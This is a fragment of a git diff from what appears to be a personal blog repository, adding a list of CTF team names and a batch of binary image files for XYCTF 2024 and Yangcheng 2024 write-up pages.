+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +常乐村驾校 + + + +Dawn + + + +列向量 + + + +凌晨人才战队 + + + +Xp0int + + + +朝花夕拾杯中酒 + + + +Aurora-不想上早八 + + + +摸鱼 + + + +鸡公煲 + + + +_n3x_ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/source/wp/xyctf-2024-reverse/ez-cube.png b/source/wp/xyctf-2024-reverse/ez-cube.png new file mode 100644 index 0000000..d916ba9 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/ez-cube.png differ diff --git a/source/wp/xyctf-2024-reverse/ezrand.png b/source/wp/xyctf-2024-reverse/ezrand.png new file mode 100644 index 0000000..111196b Binary files /dev/null and b/source/wp/xyctf-2024-reverse/ezrand.png differ diff --git a/source/wp/xyctf-2024-reverse/jinxishihenian.png b/source/wp/xyctf-2024-reverse/jinxishihenian.png new file mode 100644 index 0000000..ec74c44 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/jinxishihenian.png differ diff --git a/source/wp/xyctf-2024-reverse/mantou-1.png b/source/wp/xyctf-2024-reverse/mantou-1.png new file mode 100644 index 0000000..a017c60 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/mantou-1.png differ diff --git a/source/wp/xyctf-2024-reverse/mantou-2.png b/source/wp/xyctf-2024-reverse/mantou-2.png new file mode 100644 index 0000000..2553d58 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/mantou-2.png differ diff --git a/source/wp/xyctf-2024-reverse/mantou-3.png b/source/wp/xyctf-2024-reverse/mantou-3.png new file mode 100644 index 0000000..d0c0a32 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/mantou-3.png differ diff --git a/source/wp/xyctf-2024-reverse/miao-1.png b/source/wp/xyctf-2024-reverse/miao-1.png new file mode 100644 index 0000000..bf74bc8 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/miao-1.png differ diff --git a/source/wp/xyctf-2024-reverse/miao-2.png b/source/wp/xyctf-2024-reverse/miao-2.png new file mode 100644 index 0000000..f1fa7e5 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/miao-2.png differ diff --git a/source/wp/xyctf-2024-reverse/miao-3.png b/source/wp/xyctf-2024-reverse/miao-3.png new file mode 100644 index 0000000..ae25fc9 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/miao-3.png differ diff --git a/source/wp/xyctf-2024-reverse/miao-4.png b/source/wp/xyctf-2024-reverse/miao-4.png new file mode 100644 index 0000000..620bb70 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/miao-4.png differ diff --git a/source/wp/xyctf-2024-reverse/miao-5.png b/source/wp/xyctf-2024-reverse/miao-5.png new file mode 100644 index 0000000..9816bda Binary files /dev/null and b/source/wp/xyctf-2024-reverse/miao-5.png differ diff --git a/source/wp/xyctf-2024-reverse/panel.png b/source/wp/xyctf-2024-reverse/panel.png new file mode 100644 index 0000000..0d4e050 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/panel.png differ diff --git a/source/wp/xyctf-2024-reverse/shangshangqian.png b/source/wp/xyctf-2024-reverse/shangshangqian.png new file mode 100644 index 0000000..8b690c2 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/shangshangqian.png differ diff --git a/source/wp/xyctf-2024-reverse/trustme-1.png b/source/wp/xyctf-2024-reverse/trustme-1.png new file mode 100644 index 0000000..ce0943b Binary files /dev/null and b/source/wp/xyctf-2024-reverse/trustme-1.png differ diff --git a/source/wp/xyctf-2024-reverse/trustme-2.png b/source/wp/xyctf-2024-reverse/trustme-2.png new file mode 100644 index 0000000..3bcb2ff Binary files /dev/null and b/source/wp/xyctf-2024-reverse/trustme-2.png differ diff --git a/source/wp/xyctf-2024-reverse/trustme-3.png b/source/wp/xyctf-2024-reverse/trustme-3.png new file mode 100644 index 0000000..5bfd971 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/trustme-3.png differ diff --git a/source/wp/xyctf-2024-reverse/whats-this.png b/source/wp/xyctf-2024-reverse/whats-this.png new file mode 100644 index 0000000..a70f0a1 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/whats-this.png differ diff --git a/source/wp/xyctf-2024-reverse/xinshi.png b/source/wp/xyctf-2024-reverse/xinshi.png new file mode 100644 index 0000000..1471776 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/xinshi.png differ diff --git a/source/wp/xyctf-2024-reverse/zahetao-1.png b/source/wp/xyctf-2024-reverse/zahetao-1.png new file mode 100644 index 0000000..14d75bc Binary files /dev/null and b/source/wp/xyctf-2024-reverse/zahetao-1.png differ diff --git a/source/wp/xyctf-2024-reverse/zahetao-2.png b/source/wp/xyctf-2024-reverse/zahetao-2.png new file mode 100644 index 0000000..77288c3 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/zahetao-2.png differ diff --git a/source/wp/xyctf-2024-reverse/zahetao-3.png b/source/wp/xyctf-2024-reverse/zahetao-3.png new file mode 100644 index 0000000..0802829 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/zahetao-3.png differ diff --git a/source/wp/xyctf-2024-reverse/zhuyunian.png b/source/wp/xyctf-2024-reverse/zhuyunian.png new file mode 100644 index 0000000..cbdfba8 Binary files /dev/null and b/source/wp/xyctf-2024-reverse/zhuyunian.png differ diff --git a/source/wp/yangcheng-2024/cat-letter.png b/source/wp/yangcheng-2024/cat-letter.png new file mode 100644 index 0000000..d2991cd Binary files /dev/null and b/source/wp/yangcheng-2024/cat-letter.png differ diff --git a/source/wp/yangcheng-2024/fix_2.jpg b/source/wp/yangcheng-2024/fix_2.jpg new file mode 100644 index 0000000..0444fc7 Binary files /dev/null and b/source/wp/yangcheng-2024/fix_2.jpg differ diff --git a/source/wp/yangcheng-2024/shiro-flag.png b/source/wp/yangcheng-2024/shiro-flag.png new file mode 100644 index 0000000..aef57ab Binary files /dev/null and b/source/wp/yangcheng-2024/shiro-flag.png differ diff --git a/source/wp/yangcheng-2024/shiro-test.png b/source/wp/yangcheng-2024/shiro-test.png new file mode 100644 index 0000000..ba7353d Binary files /dev/null and b/source/wp/yangcheng-2024/shiro-test.png differ diff --git a/source/wp/yangcheng-2024/wav-binary.png b/source/wp/yangcheng-2024/wav-binary.png new file mode 100644 index 0000000..8511288 Binary files /dev/null and b/source/wp/yangcheng-2024/wav-binary.png differ diff --git a/themes/.gitkeep b/themes/.gitkeep new file mode 100644 index 0000000..e69de29